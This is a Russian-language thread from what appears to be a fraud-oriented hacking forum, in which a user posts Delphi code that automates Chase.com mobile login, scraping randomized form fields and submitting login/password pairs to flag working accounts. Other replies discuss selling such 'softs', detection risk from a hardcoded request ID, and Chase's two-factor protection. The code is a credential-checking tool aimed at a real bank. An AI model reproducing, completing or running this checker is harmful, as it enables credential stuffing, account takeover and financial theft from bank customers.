Авторизация Chase.com

FreshLik

FreshLik

Эксперт
Регистрация
14 Апр 2016
Сообщения
960
Реакции
598
Баллы
170
Кто знает тот поймёт. Просто запарили уже продавать софты), тут изи авторизация.

Переменная: Container: array[0..100] of string; // Массив =)

Код:
  FHTTP.Cookies.Clear;

  Container[11] := RandomPwd(33);
  Container[12] := RandomPwds(13);

  FHTTP.MimeType := 'application/x-www-form-urlencoded; charset=UTF-8';
  FHTTP.Headers.Append('Accept: application/json, text/javascript, */*; q=0.01');
  FHTTP.UserAgent := 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36';
  Container[2] := FHTTP.Cookies.Text;
  DATA := TStringStream.Create;
  try
   DATA.WriteString('type=json&version=1&cache=true&applId=GATEWAY&channelId=MOE&auth_siteId=MOE');
   FHTTP.Document.LoadFromStream(DATA);
  finally
   FreeAndNil(DATA);
  end;

  HTTPMethod('POST','https://m.chase.com/siteminder/auth/fcc/randomize?type=json&auth_reqid=1473197015938');

  Container[2] := FHTTP.Cookies.Text;
  HTML := TStringList.Create;
  try
   HTML.LoadFromStream(FHTTP.Document);
   Container[3] := Pars('"auth_cacheId","inputValue":"',Utf8ToAnsi(HTML.Text),'"');
   Container[4] := Pars('{"inputId":"otpreason","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[5] := Pars('"},{"inputId":"otpprefix","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[6] := Pars('{"inputId":"otp","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[7] := Pars('{"inputId":"LOB","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[8] := Pars('{"inputId":"externalData","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[9] := Pars('{"inputId":"tokencode","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[10] := Pars('{"inputId":"nexttokencode","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[11] := Pars('{"inputId":"deviceId","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[12] := Pars('{"inputId":"deviceSignature","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[13] := Pars('{"inputId":"deviceCookie","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   Container[14] := Pars('{"inputId":"Referer","randomParameter":"',Utf8ToAnsi(HTML.Text),'"');
   //Container[15] := Pars('"auth_cacheId","inputValue":"',Utf8ToAnsi(HTML.Text),'"');
   //Container[16] := Pars('"auth_cacheId","inputValue":"',Utf8ToAnsi(HTML.Text),'"');
   //Container[17] := Pars('"auth_cacheId","inputValue":"',Utf8ToAnsi(HTML.Text),'"');
  finally
   FreeAndNil(HTML);
  end;

  FHTTP.Clear;

  FHTTP.MimeType := 'application/x-www-form-urlencoded';
  FHTTP.Headers.Append('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
  //FHTTP.Headers.Append('apikey: 7aa7ff66feb5d13fc4c06e2a13937650');
  //FHTTP.Headers.Append('x-pp-ads-client-context: ul');
  //FHTTP.Cookies.Text := Container[4];
  FHTTP.UserAgent := 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36';
  //FHTTP.Headers.Append('X-Requested-With: XMLHttpRequest');
  //FHTTP.Headers.Append('Referer: https://www.tradesy.com/modal?type=common.login');
  //FHTTP.Headers.Append('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');

  Data := TStringStream.Create;
  try
    Data.WriteString('userid='+FLogin.Login+'&logon-password=' + FLogin.Password + '&logon-slider=off&auth_siteId=MOE&auth_contextId=login&auth_userId='+FLogin.Login+'&auth_passwd=' +FLogin.Password+ '&auth_passwd_org=&'+Container[4]+'=&'+Container[5]+'=&'+Container[6]+'=&'+Container[7]+'=&'+Container[8]+'=&'+Container[9]+'=&'+Container[10]+'=&'+Container[11]+'=&'+Container[12]+'={"navigator":{},"plugins":[{"name":"MOBID","version":"DFA0948024BAF6EFD691D98F2A8AA379"}],"screen":{},"extra":{}}&'+Container[13]+'=&'+Container[14]+'=&auth_cacheId=' +Container[3]+ '&auth_reqid=');
    FHTTP.Document.LoadFromStream(Data);
  finally
    FreeAndNil(Data);
  end;

  HTTPMethod('POST','https://m.chase.com/siteminder/auth/fcc/login');
  //Container[4] := FHTTP.Cookies.Text;
  if (FHTTP.ResultCode <> 302) then
  raise Exception.Create('ќшибка [1]');

  HTML := TStringList.Create;
  try
   HTML.LoadFromStream(FHTTP.Document);
    //lcMainForm.sMemo1.Lines.Add(FHTTP.Headers.Text);
    if Pos('Location: https://m.chase.com/index.html?auth_error=secauth.required&spid=', FHTTP.Headers.Text) <> 0 then
    begin
     //Good
   end;
 
F O R T U N E

F O R T U N E

Don't Worry, Be Happy.
Меценат
Регистрация
16 Июн 2014
Сообщения
1.990
Реакции
3.490
Баллы
185
FreshLik, что же ты софт не забацаешь ?)
 
lament

lament

BHF+
Регистрация
18 Янв 2016
Сообщения
1.253
Реакции
2.398
Баллы
220
Сделок с гарантом
5
apikey еще пойму, но почему так? Палевно же

Код:
auth_reqid=1473197015938
 
shieldorb

shieldorb

Эксперт
Регистрация
6 Июн 2014
Сообщения
798
Реакции
778
Баллы
145
Кто знает тот поймёт. Просто запарили уже продавать софты), тут изи авторизация.
это по классике,сорвать по фасту бабла на горящем сервисе ,который скоро солььют в паб и убьют,а тех кто купил послать куда подальше со ссылкой на правила в которых 0 ответственности,либо как тут любят-пообещают обнову,будут делать её месяц-потом выпустят платную и скажут бб
 
Последнее редактирование:
Автор
Автор
FreshLik

FreshLik

Эксперт
Регистрация
14 Апр 2016
Сообщения
960
Реакции
598
Баллы
170
Senester, Нафига он нужен?)
 
mrwhite

mrwhite

Бывалый
Регистрация
10 Фев 2016
Сообщения
57
Реакции
11
Баллы
95
А толку от этих софтов?) Они только брутят, нормальный лог с чейза ниодин софт не выдает. На чейзе 2х факторка стоит.